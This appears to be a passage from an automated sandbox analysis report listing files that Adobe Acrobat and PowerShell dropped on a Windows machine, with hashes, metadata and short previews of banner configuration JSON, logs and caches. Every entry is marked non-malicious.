Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327119004930228
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfzdPeUkwRe9:YvXKXBIDsdTeOmzGb8Ukee9
MD5:	95D48D1DB34671E290E0DFCDC18EE8E6
SHA1:	175C9CE525FB9594C85ABBEA8E1C6A3B9B81E290
SHA-256:	1A5BD5E3D5D1D6900BE414EE9581A9F9CA0459CF540001698089F8EA3FA8D120
SHA-512:	22E054549B17A205438447EF51D897218CC865CE76E3B847BA5F8E93722991F4D5D5B628AA9698F1D68F297037E3C8FF06110DB988D12C2FB445136175DDA179
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307629941062461
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfYdPeUkwRe9:YvXKXBIDsdTeOmzGg8Ukee9
MD5:	17EAAEE163536CAAF1A48EB8C5A98933
SHA1:	420B47F2F08AE2506866031C7AA2F0EA35CAB9E1
SHA-256:	1A4B1038D2A0572035A54EFFDB26381B5228B2E289584BFE77C13866D671A6D7
SHA-512:	5793D7A2C2B3253C8A8812D8A85A8DCCFF0F94BCE3221A718CA0237BF2B6AE93D46E52AE7C62CC414DA663A8BF26397A10D9F9AC385E208BC43E3EF109FF7F64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.293814643833618
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJf+dPeUkwRe9:YvXKXBIDsdTeOmzG28Ukee9
MD5:	4EC5592D8B5389270399069AD7190744
SHA1:	D2B3B548B46E92DD1F39E9272CC6E348231494E8
SHA-256:	D4EE4A06CBCC0C9EB7739FDAA40BBBCD65987AE1A594740BBA1B61D226A12A80
SHA-512:	172B89595CDDD1A1089D4A84BBC79F1EB4A32595E0257A4CE678AE51D1F2EB5D35FEA07D01EC577F06F3AC69D4BA92A2199E0B7B7BCA0C2DD7C2B40E85AA0586
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.291124599278851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfbPtdPeUkwRe9:YvXKXBIDsdTeOmzGDV8Ukee9
MD5:	CEB567B83CE70B1CA3C9C298E9683375
SHA1:	24307E5192D7ACE7270AB93844EF4DEBB793EF48
SHA-256:	0FF1F09C11218D3D4D6E4F66124C9AB5196D2657548C03416F4AEC795148B601
SHA-512:	FA29D9187C97E295B76E0E40B4CBE983DF496E2F10FD51DB573373C196CB23E11EEA1E2FD62F357231C63958636A64F19E0CCC36367865E69A00CB7C57E43445
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295567281082451
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJf21rPeUkwRe9:YvXKXBIDsdTeOmzG+16Ukee9
MD5:	DE353832BD275E2C8491DBBC11F0FD1E
SHA1:	FA9E492EEABAFBCC582EE592F09B55F7CB755F7F
SHA-256:	659FFBD89135DE68CDFDEB59666F6F1AE6B29FF913F267EDB5237877219161CA
SHA-512:	C35640A7790154B78BCA1C81A349739E61F01353E8736734AD0C8956B8FA2D45EFA1113A749188E945D7910D004A28D4B5A8ACAF4E8E18428AA7640579997729
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668887548576531
Encrypted:	false
SSDEEP:	24:Yv6XBIDmeOmcamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSK1:YvExesBgkDMUJUAh8cvMK1
MD5:	76D97610062D9E3CDAE226C4B980A3A9
SHA1:	060C6A618BE01F55DFDA43B570FBB32D241C57C8
SHA-256:	D1AF0CA51976F39AD0652129B598323C9B6F431496B6CF585C20B63754FF34F8
SHA-512:	89C5A89752AD291E8E31185A572EC601E22B2EDBAA0BB5206C274F2969BA9355FC4AB0A998C4215E40347E1599B5ABC7C581174F88975B59899F9DEE26A3D1FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272268685098498
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfshHHrPeUkwRe9:YvXKXBIDsdTeOmzGUUUkee9
MD5:	C79B1ACAF1813CDA36CDF5F68B4F1053
SHA1:	55F39B43086A75C2EEF2521CD683C2C58A2A94B0
SHA-256:	DA06B50A153C8B9ED639085128F977C5EF95B5696A5EA4110C26FEB916795872
SHA-512:	F75587382D22D9CE8561BC5783B9F4EBCC7EC1F312B66EB8A39A6A1807D6D26EC87BF7D48ABBC62A40FEE55B69F98E6C2A70E38907115EA6E2A9FDE04B22D623
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282913278105078
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJTqgFCrPeUkwRe9:YvXKXBIDsdTeOmzGTq16Ukee9
MD5:	E0F8D34422B60E0CA8BFA9D1F3352047
SHA1:	FC5BEB16572BBAE2B16EB810A22470F00BD3002B
SHA-256:	6FA0F6DC7290E4214AC0E4F89C6C0F93EAC3BEFE1EA6189E8ED777C91087B1AA
SHA-512:	23EE9C774A4D3654C70F7B24F03C8E2A120045E4A2A01F20B62850ED53C1C222F4E378085D722FF9A06ABD2FF5F8FD99F055CD1B8DAFBD424893EB5FF4FFD398
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144050212254899
Encrypted:	false
SSDEEP:	48:YGDWGXa/Vem6vYtg1l4W21xSlBjkBHefn90:tWGq/Vem6vZ1l+mltkB+V0
MD5:	5A2A5C94F6A45E23EEDE175D1C8BA2C5
SHA1:	288F74FAFA44AEB6AF1911C43B7C938C48F859BB
SHA-256:	0A4F74C4A83158B36966311564B50045F258832610410B7679F59EC3981B7FAE
SHA-512:	D57160D54F88B528234AD0A830C02847A372D07C87F3400627012AD5E5722096865EBAFA42FA2C3BBB0B6D7554963FFA0AA0F13E3CFC77D16FB723DD82094040
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bb19460a7546a21aa0f1b47cfb0ba32a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525463000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3e3d42531a9bb3c71f9696ec3cc8d5df","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525463000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e34fbd8a95f648868d893f7eb24e2134","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525463000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cad34a0f95423dcdbb35deb22de5bf3e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525463000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a8fb6c4b469327bab7c7aba79fceebd5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525463000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1287752b1da66525ae8ba54e0b0c27b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4538703952079537
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsP+ild+U:lNVmsw3SHtbDbPe0K3+fDZdQ+Q+U
MD5:	BE490566375F45522A82F16CC252BA59
SHA1:	262D3277CD43563210EFA5E0933FAC185E0F0662
SHA-256:	731534845B6D83CD0C0428CB0F336898FA0F616D7CD83C1161777EC4769D9800
SHA-512:	2D566281C6497E161D232FA118CE4DF88E56AF6FFF3EE14603BE308BDBD976FFFBDBCF6819D83CDB2A9D8EC900F87F05C6D0E06C00D41B1E827165E7D656B984
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9573996108840925
Encrypted:	false
SSDEEP:	48:7MXrvrBd6dHtbGIbPe0K3+fDy2dsP+L/qFl2GL7msa:7C3SHtbDbPe0K3+fDZdQ+rKVmsa
MD5:	93F11F95B7E75FA3457D2E3E92E0B4C9
SHA1:	C939357AD5F2695850EBAA5B007151A1FA6A1A2C
SHA-256:	30FAD9B7458BD5FB1999A1A8268C60D8D5673AEEC8E8F3DA103CB3346EA830C9
SHA-512:	108B15474C58A3189230C18FB43FA26109B7AD45B2C88A303290F9D5D7207D666BE5735A15B8E017469A40E6F8EF92A2139825FFAB7DA1B3067712D68D4BC8A0
Malicious:	false
Preview:	.... .c......A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3lqo1EW7ZfQV0kE9B2ee5BqxYyu:6a6TZ44ADE3EoKyZYVbCxK
MD5:	752ECE7F8D6DAC4F365C1CEC25A6CCC4
SHA1:	9CA8F74BF89720E0CAC62B757DF706F9B243DD72
SHA-256:	7DD05A60C098130EBA90A45E22AF0C6AEFBACB1B9471426A97858C4B1195721D
SHA-512:	DE002ABE853BC66DF062532D2CC0D6DF6384EF2F9DACD590BDF2AF5A4C3F56635C6F242867D3E9F4CA8355C97677287F4E1F9B24DBEC10301A8BCA8AA6EB7E3B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI9d742.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4821612612473656
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEo:Qw946cPbiOxDlbYnuRK+bDo
MD5:	F4FD2991ECF207B8AB670D6821385DA6
SHA1:	4565F3B61AB0E391C3062179738ABFFA6AC131F5
SHA-256:	F73379F5C41D60D922E581BE6770520650BA53312707835463080AB4FCE33336
SHA-512:	3F1D27436ADB992D935CB93D559B13A6E52EF54F0D524D4ABB95D52AFAAE18D1C4A4B15E64FB47F65CD9BA9896C32FB3684E1D7728D955DF0EACBFF660D1B619
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.1.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4qwffpyn.dyg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_huajjwgb.ikl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-10-58-181.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.342739278522719
Encrypted:	false
SSDEEP:	384:yDxG3G2GvGt3Y3Td3A3f3p3w3C31s6osRs7hWAaMAMU9H9z9K919Xn7o7U767AU2:oSw
MD5:	5E69303F735CDEFC83293093E922D8B5
SHA1:	53DC15440267AE3575148DE611686D0A003228F7
SHA-256:	CC3340FA2E1A65C2CAD72BE84F8E87A1D765FB04C66593583FEC54A032AF855F
SHA-512:	04AB3B8D24108A5B78602694CBBA158A5899B247ED783F085D3EF999980377BF4075ED47544449E970DE1C94DD2CE25B689F39A15B1FED71321221DEBCC4E915
Malicious:	false
Preview:	SessionID=b28bede0-4fd1-4032-bd45-99a8bea23479.1736525458194 Timestamp=2025-01-10T11:10:58:194-0500 ThreadID=7908 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b28bede0-4fd1-4032-bd45-99a8bea23479.1736525458194 Timestamp=2025-01-10T11:10:58:212-0500 ThreadID=7908 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b28bede0-4fd1-4032-bd45-99a8bea23479.1736525458194 Timestamp=2025-01-10T11:10:58:212-0500 ThreadID=7908 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b28bede0-4fd1-4032-bd45-99a8bea23479.1736525458194 Timestamp=2025-01-10T11:10:58:212-0500 ThreadID=7908 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b28bede0-4fd1-4032-bd45-99a8bea23479.1736525458194 Timestamp=2025-01-10T11:10:58:212-0500 ThreadID=7908 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.407826595460599
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRNu:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRK
MD5:	DCD4BAF63A83478065700399CC78BE11
SHA1:	03642F1C17EEB7D31D7B7B8EBE0D5534651E95DA
SHA-256:	936D066533C30F95EDDE82F398C9FA9A183C8DAF80330665D04450BA7DF1702A
SHA-512:	37AC22DAA4C93D4F1E9F40D3ABB23BF09022A6106CCE2D5187C3FCCD65449C9A69973B2492C2363032A483A8DE761C6E2268A1FDE678BFCB123E3D3687418AC5
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1e834f61-4acc-4431-b5c5-2811edaab635.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
